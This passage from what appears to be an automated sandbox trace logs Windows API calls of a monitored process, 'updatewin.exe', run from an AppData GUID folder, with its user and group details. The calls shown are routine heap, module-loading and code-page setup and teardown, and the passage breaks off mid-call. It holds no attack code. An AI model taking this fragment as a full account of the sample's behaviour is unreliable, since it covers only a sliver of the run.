returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2548 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2570 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2598 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d25c0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2618 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2640 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2668 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d26b8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d26e0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2708 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2730 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2758 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2780 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d27a8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d27d0 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d27f8 | out: hHeap=0x5a0000) returned 1 [0051.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2820 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2848 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2870 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2898 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d28c0 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d28e8 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2910 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2938 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2960 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2988 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d29b0 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d29d8 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2a00 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2a28 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2a50 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2a78 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d2aa0 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5d4e00 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ceaf8 | out: hHeap=0x5a0000) returned 1 [0051.070] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0051.070] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ca3e8 | out: hHeap=0x5a0000) returned 1 [0051.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x5a0000) returned 1 [0051.070] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0051.070] GetLastError () returned 0x57 [0051.071] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f584 | out: phModule=0x18f584) returned 0 [0051.071] ExitProcess (uExitCode=0x0) [0051.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cad00 | out: hHeap=0x5a0000) returned 1 [0051.071] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "8" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe" page_root = "0x2f4c7000" os_pid = "0xb1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xaa8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0xb20 [0050.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xaaca5c30, dwHighDateTime=0x1d53993)) [0050.903] GetCurrentProcessId () returned 0xb1c [0050.903] GetCurrentThreadId () returned 0xb20 [0050.903] GetTickCount () returned 0x1b7d9 [0050.903] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17117821023) returned 1 [0050.915] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.915] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1bf0000 [0050.917] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.917] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0050.917] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0050.917] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0050.917] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0050.917] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.917] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.917] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.917] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.917] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.918] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.918] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.918] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.918] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.918] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.918] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.918] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.918] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.918] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.919] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.919] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.919] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x214) returned 0x1bf07d0 [0050.919] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.919] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.919] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.919] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.919] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.919] GetCurrentThreadId () returned 0xb20 [0050.919] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.920] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x800) returned 0x1bf09f0 [0050.920] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.920] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.920] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.920] SetHandleCount (uNumber=0x20) returned 0x20 [0050.920] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe\" " [0050.920] GetEnvironmentStringsW () returned 0x244e60* [0050.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0050.920] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x0, Size=0x565) returned 0x1bf11f8 [0050.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1bf11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0050.920] FreeEnvironmentStringsW (penv=0x244e60) returned 1 [0050.920] GetLastError () returned 0x0 [0050.920] SetLastError (dwErrCode=0x0) [0050.920] GetLastError () returned 0x0 [0050.920] SetLastError (dwErrCode=0x0) [0050.920] GetLastError () returned 0x0 [0050.920] SetLastError (dwErrCode=0x0) [0050.920] GetACP () returned 0x4e4 [0050.920] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x0, Size=0x220) returned 0x1bf1768 [0050.920] GetLastError () returned 0x0 [0050.921] SetLastError (dwErrCode=0x0) [0050.921] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.921] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0050.921] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0050.921] GetLastError () returned 0x0 [0050.921] SetLastError (dwErrCode=0x0) [0050.921] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0050.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.921] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0050.921] GetLastError () returned 0x0 [0050.921] SetLastError (dwErrCode=0x0) [0050.921] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0050.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ둾冀㞥AĀ") returned 256 [0050.921] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ둾冀㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.921] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ둾冀㞥AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf2\xc3\x5e\x56\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.921] GetLastError () returned 0x0 [0050.921] SetLastError (dwErrCode=0x0) [0050.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.921] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ둾冀㞥AĀ") returned 256 [0050.921] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ둾冀㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.921] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ둾冀㞥AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0050.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 